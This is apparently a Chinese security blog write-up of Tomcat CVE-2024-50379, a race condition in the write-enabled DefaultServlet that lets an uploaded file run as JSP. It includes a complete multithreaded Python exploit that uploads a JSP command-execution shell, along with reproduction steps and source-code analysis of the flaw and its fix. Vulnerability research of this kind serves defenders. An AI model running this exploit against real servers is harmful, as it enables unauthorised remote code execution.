Tomcat CVE-2024-50379 条件竞争导致命令执行

2025-03-01 27 0

漏洞描述

If the default servlet is write enabled (readonly initialisation parameter set to the non-default value of false) for a case insensitive file system, concurrent read and upload under load of the same file can bypass Tomcat's case sensitivity checks and cause an uploaded file to be treated as a JSP leading to remote code execution.

如果默认 Servlet 启用了写权限(即readonly初始化参数被设置为非默认值false),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过 Tomcat 的大小写敏感性检查,导致上传的文件被视为 JSP 文件,从而引发远程代码执行漏洞。

漏洞条件

  • Windows操作系统:对文件扩展名大小写不敏感

  • 版本:

11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
  • DefaultServlet需要有以下配置:开启写权限

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>

        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <!-- 开启写权限 -->
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

漏洞验证

  • 环境

tomcat: 9.0.96
jre: 1.8
system: Windows 11
  • exploit

import requests
import threading
import sys

SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''

# 使用 Event 控制线程终止
stop_event = threading.Event()

def upload_shell(url):
    session = requests.Session()  # 每个线程使用独立的 Session
    print("[+] Uploading JSP shell...")
    while not stop_event.is_set():
        try:
            response = session.put(url, data=SHELL_CONTENT, timeout=3)
            # if response.status_code not in (201, 204):
            #     print(f"[-] Upload failed with status code: {response.status_code}")

        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Upload error: {str(e)}")

def accessShell(url):
    session = requests.Session()  # 每个线程使用独立的 Session  (session线程不安全)
    while not stop_event.is_set():
        try:
            response = session.get(url, timeout=3)
            if response.status_code == 200:
                print("[+] Access Success")
                stop_event.set()  # 触发所有线程停止
                return
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Access error: {str(e)}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python Poc.py <base_url> <shell_name>")
        sys.exit(1)

    base_url = sys.argv[1]
    shell_name = sys.argv[2]

    upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
    access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"

    print(f"upload_url: {upload_url}")
    print(f"access_url: {access_url}")

    # 创建上传线程池
    upload_threads = []
    for _ in range(20):
        t = threading.Thread(target=upload_shell, args=(upload_url,))
        t.daemon = True  # 设置为守护线程
        upload_threads.append(t)
        t.start()

    # 创建访问线程池
    access_threads = []
    for _ in range(5000):
        t = threading.Thread(target=accessShell, args=(access_url,))
        t.daemon = True  # 设置为守护线程
        access_threads.append(t)
        t.start()

    # 主线程循环检查停止事件
    try:
        while not stop_event.is_set():
            pass
    except KeyboardInterrupt:
        stop_event.set()
        print("\n[!] Stopping all threads due to keyboard interrupt.")

    # 等待所有线程完成
    for thread in upload_threads + access_threads:
        thread.join()

    print("\n[!] All threads stopped.")
  1. 复现过程

    1. 重新开启tomcat:
      Tomcat CVE-2024-50379 条件竞争导致命令执行插图
      注意这时会弹出一个另一个弹窗
      Tomcat CVE-2024-50379 条件竞争导致命令执行插图1
      不要关闭这个弹窗,不然http://localhost:8080/无法访问

    2. 执行脚本:python CVE-2024-50379.py http://localhost:8080 shell.jsp
      Tomcat CVE-2024-50379 条件竞争导致命令执行插图2
      执行成功!

        脚本执行期间可以观察到,在D:\Program Files (x86)\apache-tomcat-9.0.96\apache-tomcat-9.0.96\webapps\ROOT中,shell.JSP的大小会在1KB和0KB反复变化

漏洞分析

Tomcat CVE-2024-50379 条件竞争导致命令执行插图3

org.apache.catalina.webresources.DirResourceSet#getResource

@Override
    public WebResource getResource(String path) {
        checkPath(path);
        String webAppMount = getWebAppMount();
        WebResourceRoot root = getRoot();
        if (path.startsWith(webAppMount)) {
        	//获取资源
            File f = file(path.substring(webAppMount.length()), false);
            if (f == null) {
                return new EmptyResource(root, path);
            }
            if (!f.exists()) {
                return new EmptyResource(root, path, f);
            }
            if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
                path = path + '/';
            }
            return new FileResource(root, path, f, isReadOnly(), getManifest());
        } else {
            return new EmptyResource(root, path);
        }
    }

org.apache.catalina.webresources.AbstractFileResourceSet#file

protected final File file(String name, boolean mustExist) {

        if (name.equals("/")) {
            name = "";
        }
        File file = new File(fileBase, name);
		
        //一些处理
        ... 

        // Check that this file is located under the WebResourceSet's base
        String canPath = null;
        try {
            //漏洞点
            canPath = file.getCanonicalPath();
        } catch (IOException e) {
            // Ignore
        }
        if (canPath == null || !canPath.startsWith(canonicalBase)) {
            return null;
        }


        String absPath = normalize(file.getAbsolutePath());
        ...
        //必须绕过才能利用成功
        if (!canPath.equals(absPath)) {
            if (!canPath.equalsIgnoreCase(absPath)) {
                logIgnoredSymlink(getRoot().getContext().getName(), absPath, canPath);
            }
            return null;
        }
		//必须进入这里才能利用成功
        return file;
    }

file所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因

漏洞修复

相关补丁:

其大致思路是用锁机制,对PUT shell.JSPGET shell.jsp进行同步,使得当进行PUT shell.JSP时,GET shell.jsp会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件

Reference

[1] CVE-2024-50379 : Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability during JSP compi

[2] WEB安全-Tomcat CVE-2024-50379 条件竞争致RCE漏洞原理_游戏逆向|游戏安全|yxfzedu.com

[3] 文章 - Tomcat CVE-2024-50379 / CVE-2024-56337 条件竞争漏洞分析 - 先知社区

[4] CVE-2024-50379漏洞复现-CSDN博客

[5] Apache Tomcat RCE 稳定复现 保姆级!(CVE-2024-50379)附视频+POC-CSDN博客


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

本地密码管理工具——python
小白首选最新版VMware Workstation Pro详细下载和安装教程
代码审计——SpringBoot SpEL 表达式注入漏洞
Zyxel Telnet 漏洞分析(CVE-2025-0890、CVE‑2024‑40891)
CISA警告VMware漏洞正遭积极利用,敦促企业立即修补
LibreOffice 严重漏洞:攻击者可通过宏 URL 执行任意脚本

发布评论